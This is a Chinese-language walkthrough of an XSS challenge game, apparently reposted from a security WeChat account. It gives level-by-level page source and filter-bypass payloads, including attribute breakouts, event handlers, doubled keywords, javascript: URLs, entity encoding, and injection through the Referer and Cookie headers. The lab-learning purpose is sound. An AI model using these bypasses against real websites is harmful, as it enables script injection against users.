一个有趣的XSS闯关小游戏,游戏的作者是先知社区的大佬@Mramydnei,喜欢XSS的大家可以一起来学习交流。
懒得搭建通过fofa查找在线的进行挑战 语法
body="欢迎来到XSS挑战"
随便打开一个然后开始挑战
关卡1
在url中输入测试语句<script "'/0n>发现没有显示右键页面查看一下网页源码,在第15行,发现所有符号都没过滤,也没有转义,构造的语句出现在这里
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户<script "'/0n></h2><center><img src=level1.png></center>
<h3 align=center>payload的长度:14</h3></body>
</html>
payload
<script>alert("xss")</script>
修改参数为?name=
即可通关
关卡2
在输入框中输入测试语句<script "'/0n>可以看到输入框中没有显示出双引号 此处语句应该是被双引号闭合
看源码
在第18行,可以看到输入的参数是被双引号闭合着带入到input标签中。所有需要在开头构造一个">把签名input标签闭合掉,在结尾构造一个"<把input剩下的尖括号闭合即可
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和<script "'/0n>相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword value="<script "'/0n>">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:14</h3></body>
</html>
payload
"><script>alert("xss")</script><"
关卡3
在输入框中输入测试语句<script "'/0n>能看到输入框的内容里没有单引号 此处语句应该是被单引号闭合
源码查看
在第17行可以看到,大小于号和双引号被转义,但是单引号没有被转义且参数是用单引号闭合的。由于大于号被转义,我们需要使用哪些不需要用到标签的语句来触发XSS漏洞比如说用事件触发的形式,同时使用单引号来闭合。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和<script "'/0n>相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword value='<script "'/0n>'>
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:14</h3></body>
</html>
payload
'onmouseover='alert("xss")
关卡4
在输入框中输入测试语句<script "'/0n> 搜索框里没有小于号,估计是被转义了,内容也是到script截止,内容是由双引号闭合的
源码查看
可以看到第17,大小于号已被过滤,引号没有被过滤或转义,参数采用的是双引号的闭合方式。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level5.php?keyword=find a way out!";
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<h2 align=center>没有找到和<script "'/0n>相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword value="script "'/0n">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level4.png></center>
<h3 align=center>payload的长度:12</h3></body>
</html>
payload
"onmouseover="alert(/xss/)
关卡5
在输入框中输入测试语句<script "'/0n> 发现在r与i之间多了一个_符号,猜测是关键字被转义了
源码查看
在第17行我们发现两个关键字被转义,大小于号和引号没有被过滤与转义。用双引号闭合方式,可利用其他关键字绕过
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<h2 align=center>没有找到和<script "'/0n>相关的结果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword value="<scr_ipt "'/0n>">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level5.png></center>
<h3 align=center>payload的长度:15</h3></body>
</html>
尝试img标签
"><IMG SRC="javascript:alert('XSS');"><"
无法进行弹窗,尝试修改为a标签,成功弹窗
payload
"><a href="javascript:alert('XSS');">xss<"
点击xss即可完成改关卡
关卡6
在输入框中输入测试语句<script "'/0n>,与上一关的情况差不多
查看源码
关键字被转义,大小于号和引号没有被过滤与转义。用双引号闭合方式
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level7.php?keyword=move up!";
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<h2 align=center>没有找到和<script "'/0n>相关的结果.</h2><center>
<form action=level6.php method=GET>
<input name=keyword value="<scr_ipt "'/0n>">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level6.png></center>
<h3 align=center>payload的长度:15</h3></body>
</html>
采用上一关的payload,发现href被转义了
payload
采用大小写即可绕过
"><a Href="javascript:alert('XSS');">xss<"
关卡7
在输入框中输入测试语句<script "'/0n>,只显示了<括号,猜测可能是script被过滤。
查看源码
在17行,可以看到script被过滤,采用双引号闭合
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<h2 align=center>没有找到和<script "'/0n>相关的结果.</h2><center>
<form action=level7.php method=GET>
<input name=keyword value="< "'/0n>">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level7.png></center>
<h3 align=center>payload的长度:8</h3></body>
</html>
payload
经过尝试可以使用script双写绕过
"><scrscriptipt>alert(/xss/)</scrscriptipt><"
关卡8
在输入框中输入测试语句<script "'/0n>,输入的值均显示在页面上
查看源码
在第17行可以看到,大小于号被转义、双引号被转义,语句采用双引号闭合方式。在20行可以看到大小于号被转义回来,关键字被插入下划线。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<center>
<form action=level8.php method=GET>
<input name=keyword value="<script "'/0n>">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="<scr_ipt "'/0n>">友情链接</a></center><center><img src=level8.jpg></center>
<h3 align=center>payload的长度:19</h3></body>
</html>
payload
可以使用javascript 伪协议 https://www.yzktw.com.cn/post/1433599.html javascript中的script会被转义为scr_ipt,源码中会对部分html实体编码转换为正常的字符,所以采用将script htlm实体编码尝试 在线html实体编码:https://config.net.cn/tools/HtmlEncode.html
javascript:alert(/xss/)
输入后点击友情链接成功弹窗
关卡9
在输入框中输入测试语句<script "'/0n>输入的值也是显示在页面上
查看源码
和上一关差不多的情况,大小于号被转义、双引号被转义、、大写变小写,采用双引号闭合 在20行提示您的链接不合法?有没有!
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<center>
<form action=level9.php method=GET>
<input name=keyword value="<script "'/0n>">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>
<h3 align=center>payload的长度:19</h3></body>
</html>
输入正常的链接:http://www.baid.com提交,返回是合法的
payload
所以将http://写入到payload中让他匹配到存在即会返回合法,所以构造pyload
javascript:alert('http://xss')
关卡10
在url中输入测试语句<script "'/0n>,页面显示看不出什么信息
查看源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<h2 align=center>没有找到和<script "'/0n>相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
</form>
</center><center><img src=level10.png></center>
<h3 align=center>payload的长度:14</h3></body>
</html>
发现第15行大小于号被转义、双引号都被转义,语句采用双引号闭合。在第17、18、19行,发现三个输入参数,分别是t_link、t_history、t_sort 输入测试语句?t_history=<script "'/0n>&t_sort=<script "'/0n>&t_link=<script "'/0n>发现只有t_sort有值,大小于号被过滤,采用双引号闭合
payload
不需要大小于号的事件触发方式构造语句
?t_sort=sb" type="button" onclick="alert(/xss/)
?t_sort=表示参数是传递给谁;
sb"给input赋值同时闭合双引号;
修改type属性为按钮方便事件触发;
onclik则表示点击时触发事件
关卡11
在url中输入测试语句<script "'/0n>,页面显示看不出什么信息
查看源代码
发现第15行大小于号被转义、双引号都被转义,语句采用双引号闭合。在第17、18、19、20行,发现另外四个输入参数,分别是t_link、t_history、t_sort、t_ref,考虑将测试语句传入进行测试。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level12.php?keyword=good job!";
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<h2 align=center>没有找到和<script "'/0n>相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_ref" value="" type="hidden">
</form>
</center><center><img src=level11.png></center>
<h3 align=center>payload的长度:14</h3></body>
</html>
?t_history=<script "'/0n>&t_sort=<script "'/0n>&t_link=<script "'/0n>&t_ref=<script "'/0n>发现第19行大小于号被转义、双引号都被转义,语句采用双引号闭合。经测试,利用常规手段无法进行绕过,尝试其余参数入手 可以发现其余参通过url地址栏传递无法传递,根据命令规则t_ref是不是就是http的referer头部信息,进行尝试,发现没有任何过滤
payload
抓包修改referer头部信息,成功通过
referer: referer:click me!" type="button" onclick="alert(/xss/)
关卡12
与关卡11类似,修改t_ua值进行绕过
payload
关卡13
与关卡11、12类似,修改值进行绕过
payload
Cookie: user=click me!" type="button" onclick="alert(/xss/)
关卡14
这需要上传图片,我们上传一个普通图片。打印出来图片EXIF信息。我们可以修改EXIF信息,向其中写入脚本,当后端读取并先到前端时,就会注入脚本,触发XSS
上传这个有脚本的图片,触发成功。
关卡15
URL的src参数回显在下面的ng-includeng-include相当于php的include函数,所以我们包含一个有XSS漏洞的URL就可触发这里的XSS 我们包含第一关的XSS
payload
?src='level1.php?name=<img src=x onerror=alert(1)>'
关卡16
在url中输入测试语句<script "'/0n>,可以看到script被过滤
查看源码
script被过滤、空格和/被转义
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level17.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<center>< "' 0n></center><center><img src=level16.png></center>
<h3 align=center>payload的长度:24</h3></body>
</html>
我们使用img绕过,空格用%0a替换
payload
?keyword=<img%0asrc=x%0aonerror=alert(1)>
关卡17
打入测试语句<script "'/0n>过滤了尖括号和双引号,用on事件触发 这题是Flash XSS,但是不要被它迷惑
payload
/level17.php?arg01=a&arg02= onmouseover=alert(1)
关卡18
感觉17题和18题没啥区别 也使用闭合属性值触发
payload
/level18.php?arg01=a&arg02= onmouseover=alert(1)
关卡19和20属于Flash XSS,有兴趣的小伙伴们可以去深入学习。
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
★
原文始发于微信公众号(鹏组安全):XSS挑战之旅--游戏通攻略
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论